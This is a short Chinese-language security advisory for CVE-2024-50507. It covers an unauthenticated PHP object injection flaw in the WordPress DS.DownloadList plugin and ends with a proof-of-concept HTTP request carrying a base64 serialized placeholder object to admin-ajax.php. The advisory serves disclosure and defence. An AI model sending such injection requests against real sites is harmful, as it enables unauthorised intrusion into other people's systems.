CVE-2024-50507

DS.DownloadList <= 1.3 - 未认证的PHP对象注入

描述

WordPress的DS.DownloadList插件在所有版本（包括1.3）中，由于对不受信任的输入进行反序列化，存在PHP对象注入漏洞。这使得未认证的攻击者能够注入一个PHP对象。受影响软件中不存在已知的POP链。如果目标系统上安装了其他插件或主题而存在POP链，则可能允许攻击者删除任意文件、获取敏感数据或执行代码。

详情

• 类型：插件
• 插件标识：dsdownloadlist
• 受影响版本：1.3
• CVSS评分：8.1
• CVSS等级：高
• CVSS向量：CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE：CVE-2024-50507
• 状态：已关闭

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

action=dsdl&atts=TzoyMDoiUEhQX09iamVjdF9JbmplY3Rpb24iOjA6e30=